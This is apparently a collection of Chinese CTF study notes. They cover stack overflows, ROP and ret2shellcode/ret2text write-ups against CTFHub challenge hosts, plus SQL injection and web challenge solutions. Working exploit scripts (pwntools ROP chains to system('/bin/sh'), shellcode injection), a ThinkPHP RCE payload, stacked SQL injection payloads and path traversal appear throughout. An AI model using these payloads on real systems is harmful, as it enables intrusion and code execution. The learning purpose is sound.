当我们没有对输入限制大小,超出分配函数分配的空间大小,就会发生缓冲区溢出,攻击者可利用缓冲区溢出来改变进程运行时栈,从而改变程序正常流向,可能会导致程序崩溃,甚至是系统权限被获取。
接下来我们引入栈帧结构(在堆栈中,是其一部分)。
在C语言中,一般来说,每个栈帧都对应着一个未完成的函数,保存了函数的返回地址和局部变量。栈帧也叫活动过程记录,是一种数据结构。
C 语言自动提供的服务之一就是跟踪调用链——哪些函数调用了哪些函数,当下一个return语句执行后,控制将返回何处等。解决这个问题的经典机制是堆栈中的活动记录。
当每个函数被调用时,都会产生一个过程记录(或者类似的结构)。过程活动记录是一种数据结构,用于支持过程调用,并记录调用结束以后返回调用点所需要的全部信息。结构如下图所示
函数调用时会遵守函数调用约定去传递参数和返回地址。调用约定有这几种:__stdcall,__cdecl,__fastcall,__thiscall,__nakedcall,__pascal,__vectorcall。
1.从右到左依次入栈:__stdcall,__cdecl,__thiscall,__fastcall
2.从左到右依次入栈:__pascal
1.调用者清除栈。 2.被调用函数返回后清除栈。
看完函数调用约定我们回头继续学习栈帧结构。
每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。下图为地址空间、栈帧所处层次结构。
由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此给系统安全带来一些隐患。若将函数返回地址修改为指向一段的恶意代码,则可达到危害系统安全的目的。此外,堆栈的恢复依赖于压栈的ebp值的正确性,但ebp域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改ebp值或返回地址,则程序的行为将变得非常危险。
我们可以编写一个简单程序,进行调试,深入理解程序是如何运行的。源代码如下,测试系统为Kali 20.04 (64位),使用工具为GDB
#include <stdio.h>
int add (int a,int b);
int main ()
{
int a=1,b=2,c;
c=add(a,b);
printf("%d",c);
return 0;
}
int add (int a,int b)
{
int c;
c=a+b;
return c;
}
汇编代码如下
0x555555555139 <main+4> sub rsp, 0x10
0x55555555513d <main+8> mov dword ptr [rbp - 4], 1
0x555555555144 <main+15> mov dword ptr [rbp - 8], 2
0x55555555514b <main+22> mov edx, dword ptr [rbp - 8]
0x55555555514e <main+25> mov eax, dword ptr [rbp - 4]
0x555555555151 <main+28> mov esi, edx
0x555555555153 <main+30> mov edi, eax
► 0x555555555155 <main+32> call add <add>
rdi: 0x1
rsi: 0x2
rdx: 0x2
rcx: 0x7ffff7fad738 (__exit_funcs) —▸ 0x7ffff7fafb20 (initial) ◂— 0x0
0x55555555515a <main+37> mov dword ptr [rbp - 0xc], eax
0x55555555515d <main+40> mov eax, dword ptr [rbp - 0xc]
0x555555555160 <main+43> mov esi, eax
0x555555555162 <main+45> lea rdi, [rip + 0xe9b]
0x555555555169 <main+52> mov eax, 0
我们来看看gdb开始调试的信息
rbp和rsp指向同一个地址,执行main函数之前的rp,空间分配出来了。0x555555555135 (main) ◂— push rbp
压入主函数的rbp值。也可以画个堆栈图进行理解。
再来看看调试时的信息
执行ret指令,返回地址出栈,跳到返回地址。通过rip移动可知道返回地址在rbp下面。rbp出栈恢复原来的值。
程序就快结束了。
想要更详细的了解缓冲区溢出,参考某大神文章,点击这里。
本篇只研究栈溢出漏洞利用
我们在上文列出了一些缓冲区操作的函数,这里我们就讲讲常发生栈溢出的危险函数。
gets()
:直接读取一行,到换行符’\n’为止,同时’\n’被转换成’\x00′;
scanf()
:格式化字符串中的%s不会检查长度;
vscanf()
:同上;
sprintf()
:将格式化后的内容写入缓冲区中,但是不检查缓冲区长度;
strcpy()
:遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;
strcat()
: 同上。
一般分为三种:
1.覆盖函数返回地址,通过覆盖返回地址控制程序。
2.覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现场,返回时再恢复,如下(以x64程序为例):
push rbp
mov rbp,rsp
leave ;相当于mov rsp,rbp pop rbp
ret
返回时:如果栈上的BP值被覆盖,那么函数返回后,主调函数的BP值会被改变,主调函数返回指令ret时,SP不会指向原来的返回地址位置,而是被修改的BP位置。
3.根据现实执行情况,覆盖特定的变量或地址的内容,可能导致一些逻辑漏洞的出现。
在前面两篇文章中,我学习了简单的返回式导向编程(ROP),但是现实情况不可能这么简单就获取shell。所以我将深入学习ROP,去实现更深层次的漏洞挖掘。
我们可以利用ret(0xc3)
指令结尾的指令片段(gadget)构建一条ROP链,来实现任意指令执行,最终实现任意代码执行。
我们可以将其分为三步:
1.寻找ret指令,查看ret前的字节是否包含有效指令;
2.找到有效指令后,将其标记,得到一系列这样以ret结束的指令后,将这些指令的地址按顺序排列放在栈上;
3.这样就会让程序每次执行完相应指令后,其结尾的ret指令会将程序控制流传递给栈顶的新的Gadget继续执行。这样一段连续的Gadget构成了一条ROP链,从而实现任意指令执行。
工具准备
IDA Pro、ROPgadget、pwntools等
例子:
#include<stdio.h>
#include<unistd.h>
int main(){
char buf[10];
puts("hello");
gets("buf");
}
用下列命令进行编译:
gcc rop.c -o rop -no-pie -fno-stack-protector
程序中没有预置的可以用来执行命令的函数
先用ROPgadget找出程序中的Gadget:
Gadgets information
============================================================
0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; leave ; ret
0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107e : add byte ptr [rax], al ; ret
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040107d : add byte ptr [rax], r8b ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040115b : add cl, cl ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401130 : jmp 0x4010c0
0x0000000000401153 : jmp 0xffffffffb9401156
0x00000000004010ac : jmp rax
0x000000000040115c : leave ; ret
0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401157 : mov eax, 0 ; leave ; ret
0x00000000004010a7 : mov edi, 0x404038 ; jmp rax
0x00000000004010af : nop ; ret
0x000000000040107b : nop dword ptr [rax + rax] ; ret
0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0
0x00000000004011bd : nop dword ptr [rax] ; ret
0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b8 : pop r14 ; pop r15 ; ret
0x00000000004011ba : pop r15 ; ret
0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011bb : pop rdi ; ret
0x00000000004011b9 : pop rsi ; pop r15 ; ret
0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401016 : ret
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 67
这个程序很小,可供使用的Gadget非常有限,其中没有可以用来执行系统调用的Gadget,所以很难实现任意代码执行。但可以想办法先获取一些动态链接库(如libc)的加载地址,再使用libc中的Gadget构造可以实现任意代码执行的ROP。
程序中常常有像puts、gets等libc提供的库函数,这些函数再内存中的地址会写在程序的GOT表中,当程序调用库函数时,会在GOT表中读出对应函数在内存中的地址,然后跳转到该地址执行,所以先利用puts函数打印库函数地址,减掉该库函数与libc加载基地址的偏移,就可以计算出libc的基地址。
.plt:0000000000401030
.plt:0000000000401030 ; Attributes: thunk
.plt:0000000000401030
.plt:0000000000401030 ; int puts(const char *s)
.plt:0000000000401030 _puts proc near ; CODE XREF:main+F↓p
.plt:0000000000401030 jmp cs:off_404018
.plt:0000000000401030 _puts endp
.plt:0000000000401030
.plt:0000000000401036 ; --------------------------------------------------
puts函数被保存在0x404018
位置,只要调用puts(0x404018)
,就会打印puts函数在libc中的地址。
from pwn import *
p=process('./rop')
pop_rdi=0x4011bb
puts_got=0x404018
puts=0x401030
p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
p.recvuntil(b'\n')
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
[+] Starting local process './rop': pid 25192
0x7f8f18a09210
[*] Stopped process './rop' (pid 25192)
根据puts函数在libc库中的偏移地址,就可以计算出libc的基地址,然后可以利用libc中的gadget构造可以执行”/bin/sh”的ROP,从而获得shell。
32位传参是通过栈来传递
利用write函数泄露libc中write的地址的payload模板:
payload = 'a' *xxx + p32(write_plt) + p32(ret_addr) + p32(1) + p32(got_write) + p32(4)
32位含参调用模板:
payload = 'a' * xxx + p32(fun1_addr) + p32(fun2_addr) + p32(arg_1) + p32(arg_2)….
64位前六个参数传递是靠寄存器rdi,rsi,edx,ecx,r8,r9,然后再栈。
我们仅能控制栈中的数据,因此需要利用一些gadgets。
pop | ret 利用模板:
payload = 'a' * xx + p64(gadget_addr) + p64(rdi) + p64(func_addr)
pop | call 利用模板:
payload = 'a' * xx + p64(gadget) + p64(func_addr) + p64(rdi)
一个rdi适合一个参数的函数传参 参考链接
三个参数用__libc_csu_init()这个函数 参考链接
六个参数可以用_dl_runtime_resolve()这个函数 参考链接
下面我们看道简单的例题:
链接:https://pan.baidu.com/s/12DpUsJyep7zvFd03ka5uaQ
提取码:abcd
官方wp如下(我只保留了exp的关键部分并加了部分注释):
test_thread = 0x4011b6
prdi = 0x0000000000401313
ret = 0x000000000040101a
pay = b'c'* (0x30-4) #垃圾数据,一直填充至i
pay += p32(0x30-4) # int i,防止被意外改变
pay += p64(0) # 填充rbp
pay += p64(prdi) +p64(binary.got['puts']) #引用got表的puts给rdi
pay += p64(binary.plt['puts'])
pay += p64(test_thread) #返回test_thread函数
sl(pay)
ru(b'\n')
puts = uu64(ru(b'\n', drop=True)) #得到put地址
leak('puts', puts)
lbase = puts-libc.sym['puts'] #得到libc基址
system = lbase+libc.sym['system'] #得到system地址
binsh = lbase+next(libc.search(b'/bin/sh')) #得到binsh地址
pay = b'c'* (0x30-4) #垃圾数据,一直填充至i
pay += p32(0x30-4) # int i,防止被意外改变
pay += p64(0) # 填充rbp
pay += p64(prdi) +p64(binsh) #binsh传给rdi
pay += p64(ret) # 栈对齐
pay += p64(system) # 返回system函数
大概就是这么个流程,不懂可以留言
上篇文章中我们讲解了ROP的简单使用,这篇我们继续学习ROP的使用。本篇还涉及一个新知识点,就是shellcode。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的可读写区域中去执行shellcode代码。
shellcode是一段可执行攻击的机器码,一般利用pwntools直接生成。也有多种利用方式,详细查看大佬博文。
IDA、DBG、pwndbg、peda、pwntools
nc challenge-2402cf6d104cabfd.sandbox.ctfhub.com 23767
附件:pwn
问题分析
下载附件,解压查看基本信息。
root@192:/home/cjm/桌面# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94500626298378cae494e018a28e70c1a187d603, not stripped
发现是个64位的elf文件 。
然后我们检查它的保护机制 。
gdb-peda$ checksec pwn
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0LL;
buf[1] = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", buf);
puts("Input someting : ");
read(0, buf, 0x400uLL);
return 0;
}
发现read()存在溢出,通过buf相对于rbp的偏移量,我们知道了shellcode可以利用的长度为0x10+8=24
,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload的格式为:
'a'*24+[buf_addr+32]+shellcode
这里面的32是24位覆盖地址长度+8位返回地址长度。
最后,我们只需要知道buf地址就可以了。
from pwn import *
context.arch='amd64'
sh = process("./pwn")
buf_addr = sh.recvuntil(b"]") # 获取buf地址
sh.recvuntil(b'Input someting : ')
shell=asm(shellcraft.sh())
sh.sendline(b'a'*24 + p64(int(buf_addr[-15:-1],16)+0x20)+shell)
sh.interactive()
执行获得shell。
[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767
[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Trying 47.98.148.7
[+] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Done
[*] Switching to interactive mode
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
ctfhub{c6b3a8c98d78d8ad3852177b}
[*] Got EOF while reading in interactive
前言
栈溢出是缓冲区溢出的一种。函数的局部变量通常保存在栈上,如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址[即ROP](Return Oriented Programming),以达到劫持程序控制流的目的。
在x86架构中,CPU执行call指令会先将当前call指令的下一条指令的地址入栈,再跳转到被调用函数。当被调用函数需要返回时就执行ret指令,接着CPU会执行出栈,栈顶的地址会赋给EIP寄存器。这个地址让被调用函数知道返回到调用函数的什么位置,叫做返回地址。理想情况下,取出的地址就是之前调用call存入的地址,以保证可以返回到父函数继续执行。
ret2text原理
ret2text顾名思义,即控制返回地址指向程序本身已有的代码(.text)[利用地址]并执行。
工具准备
IDA、DBG、pwndbg、peda、pwntools
例题描述(ctfhub技能树 ret2text )
nc challenge-dbabb54d9de9a05e.sandbox.ctfhub.com 29815
附件:pwn
ROP过程
问题分析
下载附件,解压查看基本信息。
发现是个64位的elf文件 。
然后我们检查它的保护机制 。
root@192:/home/cjm/桌面# gdb
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
gdb-peda$ checksec pwn
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2text.Input someting:");
gets(v4);
puts("bye");
return 0;
}
有一些输入输出函数调用且未对输入数据进行长度限制,下面我们再看看secure函数内容
int secure()
{
unsigned int v0; // eax
int result; // eax
int v2; // [rsp+8h] [rbp-8h] BYREF
int v3; // [rsp+Ch] [rbp-4h]
v0 = time(0LL);
srand(v0);
v3 = rand();
__isoc99_scanf(&unk_4008C8, &v2);
result = v2;
if ( v3 == v2 )
result = system("/bin/sh");
return result;
}
里面调用了system('/bin/sh')
。由此可见,这道题是通过gets()
函数传递变量覆盖返回地址执行 system('/bin/sh')
获得shell。
我们需要知道两个关键信息:
1.变量的地址
2.system('/bin/sh')
的内存地址
第一步,通过peda调试,反汇编找到变量的地址
gdb-peda$ file ./pwn
Reading symbols from ./pwn...
(No debugging symbols found in ./pwn)
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004007c7 <+0>: push rbp
0x00000000004007c8 <+1>: mov rbp,rsp
0x00000000004007cb <+4>: sub rsp,0x70
0x00000000004007cf <+8>: mov rax,QWORD PTR [rip+0x20089a] # 0x601070 <stdout@@GLIBC_2.2.5>
0x00000000004007d6 <+15>: mov ecx,0x0
0x00000000004007db <+20>: mov edx,0x2
0x00000000004007e0 <+25>: mov esi,0x0
0x00000000004007e5 <+30>: mov rdi,rax
0x00000000004007e8 <+33>: call 0x400660 <setvbuf@plt>
0x00000000004007ed <+38>: mov rax,QWORD PTR [rip+0x20088c] # 0x601080 <stdin@@GLIBC_2.2.5>
0x00000000004007f4 <+45>: mov ecx,0x0
0x00000000004007f9 <+50>: mov edx,0x1
0x00000000004007fe <+55>: mov esi,0x0
0x0000000000400803 <+60>: mov rdi,rax
0x0000000000400806 <+63>: call 0x400660 <setvbuf@plt>
0x000000000040080b <+68>: lea rdi,[rip+0xc6] # 0x4008d8
0x0000000000400812 <+75>: call 0x400610 <puts@plt>
0x0000000000400817 <+80>: lea rax,[rbp-0x70]
0x000000000040081b <+84>: mov rdi,rax
0x000000000040081e <+87>: mov eax,0x0
0x0000000000400823 <+92>: call 0x400650 <gets@plt>
0x0000000000400828 <+97>: lea rdi,[rip+0xd4] # 0x400903
0x000000000040082f <+104>: call 0x400610 <puts@plt>
0x0000000000400834 <+109>: mov eax,0x0
0x0000000000400839 <+114>: leave
0x000000000040083a <+115>: ret
End of assembler dump.
gdb-peda$
变量地址为[rbp-0x70]
。我们知道在64位系统中,ebp占8字节。这里rbp后就是ebp,ebp后才是返回地址。我们要填充变量到覆盖返回地址,就要使变量长度为0x70+8=0x78
(这个也是偏移长度)。
第二步,同样反汇编调试
gdb-peda$ disassemble secure
Dump of assembler code for function secure:
0x0000000000400777 <+0>: push rbp
0x0000000000400778 <+1>: mov rbp,rsp
0x000000000040077b <+4>: sub rsp,0x10
0x000000000040077f <+8>: mov edi,0x0
0x0000000000400784 <+13>: call 0x400640 <time@plt>
0x0000000000400789 <+18>: mov edi,eax
0x000000000040078b <+20>: call 0x400630 <srand@plt>
0x0000000000400790 <+25>: call 0x400680 <rand@plt>
0x0000000000400795 <+30>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400798 <+33>: lea rax,[rbp-0x8]
0x000000000040079c <+37>: mov rsi,rax
0x000000000040079f <+40>: lea rdi,[rip+0x122] # 0x4008c8
0x00000000004007a6 <+47>: mov eax,0x0
0x00000000004007ab <+52>: call 0x400670 <__isoc99_scanf@plt>
0x00000000004007b0 <+57>: mov eax,DWORD PTR [rbp-0x8]
0x00000000004007b3 <+60>: cmp DWORD PTR [rbp-0x4],eax
0x00000000004007b6 <+63>: jne 0x4007c4 <secure+77>
0x00000000004007b8 <+65>: lea rdi,[rip+0x10c] # 0x4008cb
0x00000000004007bf <+72>: call 0x400620 <system@plt>
0x00000000004007c4 <+77>: nop
0x00000000004007c5 <+78>: leave
0x00000000004007c6 <+79>: ret
End of assembler dump.
由于要调用该语句,就拿该语句的地址0x4007b8
。
编写exp
from pwn import *
host = 'challenge-dbabb54d9de9a05e.sandbox.ctfhub.com'
port = 29815
#p = process("./pwn")
p = connect(host, port)
payload = 'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()
如若出现错误TypeError: can only concatenate str (not "bytes") to str
,是因为python3中bytes类型不能与str类型直接相加,可以写成这样来 b'A' * 0x78 + p64(0x4007b8)
来避免报错。
运行拿到flag。
[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815
[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Trying 47.98.148.7
[+] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Done
[*] Switching to interactive mode
Welcome to CTFHub ret2text.Input someting:
bye
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
ctfhub{ef5af582ab6cd2dc8fbc897e}
参考资料:点击这里
前言
在回顾sql注入时,发现对闭合方式的判断sql语句并没有理解到位,有时候使用会报错,于是有了这篇文章。本文sql语句在navicat中实验,navicat已连接到MySQL数据库。(PS:下面所有的图_选中的部分为输入的判断语句,且该实验环境本身会为其加单引号[此处自动添加单引号应该是为了解析语法和单引号闭合的单引号不一样,单引号闭合是后端语言获取用户传入的数据进行的闭合操作],不影响)
数值型
当输入1
时,有查询结果无报错
当输入1'
时,会报错,未闭合,多了个'
当输入1"
时 ,虽然闭合了,但也会报错,因为没有把1闭合会导致1多余构成语法错误,我个人认为(我下了相应版本的手册,奈何全是英文,目前能力有限,暂时无法学习该内容只能靠实验猜想)数据库解析你命令时,如果你输入有引号,会直接从你引号起始位置开始读取,如果该引号前面有内容则会报语法错误
综上,数值型闭合就是当加'
或"
都会报错,不加任何东西就是正确的就说明是该类型闭合。当然像 1 and 1=1 #
和1 and 1=2 #
也可以同样理解 /*前面true 返回1
(返回数据是and前的数值),后面false,返回为空*/
单引号型
当输入1
时,有查询结果无报错
当输入1'
时,会报错,未闭合,多了个'
当输入1"
时,有查询结果,无报错
综上,单引号闭合就是当加'
会报错,其他都是正确的就说明是该类型闭合。
双引号型
同理,双引号闭合就是当加"
会报错,其他都是正确的就说明是该类型闭合。
后记:文中若有错误,或理解不当的地方还请大佬们指正。
1.up-load-labs
修改文件后缀,上传一句话木马
拦包改后缀,拼地址,连蚁剑得flag
2.CODE REVIEW 1
反序列化+绕MD5
MD5绕过
1.利用md5开头是0e的字符串来绕过 2.利用数组绕过
1.baby_web
根据题目描述,我们转到初始页面index.php,发现302跳转,审查元素,发现flag。
2.Training-WWW-Robots
根据题目,我们猜测robots.txt里有提示,看到flag文件,打开即可。
3.Web_python_template_injection
根据提示,我们知道这是template注入,用{{}}进行测试,发现被执行了
构造payload,{{ config.items() }}可以查看服务器的配置信息,由于对模块注入不熟,后面单独总结写。
4.php_rce
根据题目名称和网页think PHPV5.0版本,可以得知应该是复现该框架漏洞,直接百度该版本的漏洞。参考大佬博客https://www.cnblogs.com/backlion/p/10106676.html,利用poc index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls / 直接找flag
然后就打开目录index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag
然后查看cat flag 即可 (后面有空写一篇漏洞分析)
5.web_php_include
文件包含想到伪协议读取,这里php://被过滤了,我们用data://找flag文件
然后打开文件即可
6.supersqli
联合注入常见sql语句show 什么的。。
show database; show tables
desc:` 表名 ` 查询表结构
例:强网杯-随便注(实际就是堆叠注入)
1‘ false 1“ true 说明单引号注入
发现有过滤
preg_match(“/select|update|delete|drop|insert|where|\./i”,$inject);
考虑堆叠注入
1′;show tables 查出表名
“1919810931114514”
“words”
1′;desc `words`# 查询表结构
array(6) {
[0]=>
string(2) “id”
[1]=>
string(7) “int(10)”
array(6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar(20)”
1′;desc `1919810931114514`# 查询表结构
array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
判断出有两个回显位置,把默认查询表改了
1′ or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);–+
然后用’ or 1=’1查询表里面所有内容,得到flag
知识点总结
堆叠注入
在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
Mysql语句
显示表的列的信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema=”” and table_name=””
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,…]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
预编译处理方法
查看值,需要绕过select的限制,我们可以使用预编译的方式
-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);
prepare stmt from @sql;
EXECUTE stmt; #
这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1’;sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prEpare stmt from @sql;EXECUTE stmt;#
7.ics-06
来到页面哪里点的动就点哪里。发现只有报表中心能点动。然后发现id=,是数值型,尝试爆破
成功,然后打开页面即可得到flag
8.warmup
打开题目查看网页源代码发现
打开source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
审计代码:有两个白名单,在hint里知道 flag not here, and flag in ffffllllaaaagggg ,有截取?前字符串的函数,还有匹配函数,然后解url编码,应该有url二次编码,构造payload:?file=source.php%253F../../../../../../ffffllllaaaagggg找到flag。
9. NewsCenter
进入题目环境,猜测是注入,用’ or 1=1 # 判断,是单引号注入,然后判断列数
发现有三列,然后判断回显位置
发现两个回显位置,然后找表名(按理说先找库名,不过一般在当前库里),
猜测在secret_table里,查字段
找到flag,查询内容
10. NaNNaNNaNNaN-Batman
下载题目文件,文本打开,发现是js乱码,审计发现eval函数执行了(字符串),导致乱码,然后我们用alert函数让正常源代码显示出来,打开浏览器
再审计代码,用控制台执行关键代码获取flag,(懒得去凑key)
11. web2
根据题目环境需要逆向加密。审计代码,就一个加密函数,只需要写一个解密函数即可。费了半天劲写出来了
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function decode($str){ $_o=(base64_decode(strrev(str_rot13($str)))); $_1=""; for($_0=0;$_0<strlen($_o);$_0++) { $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_c; $_1[$_0]=$_; } $_2=strrev($_1); return ($_2); } echo(decode($miwen));
然后又得到flag,主要是对php不熟悉,以至于写了半天。然后我在网上找了篇不一样的解密脚本。https://blog.csdn.net/zsqad/article/details/103475027
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen) {
$_ = base64_decode(strrev(str_rot13($miwen)));
$idx = strlen($_) - 1;
$_o = '';
while ($idx >= 0) {
$_c = $_[$idx];
$__ = ord($_c);
$_c = chr($__ - 1);
$_o = $_o . $_c;
$idx--;
}
return $_o;
}
echo decode($miwen);
12.
把之前做的思路整理一下
1.view_source
查看网页源代码,获取flag
2.robots
3.backup
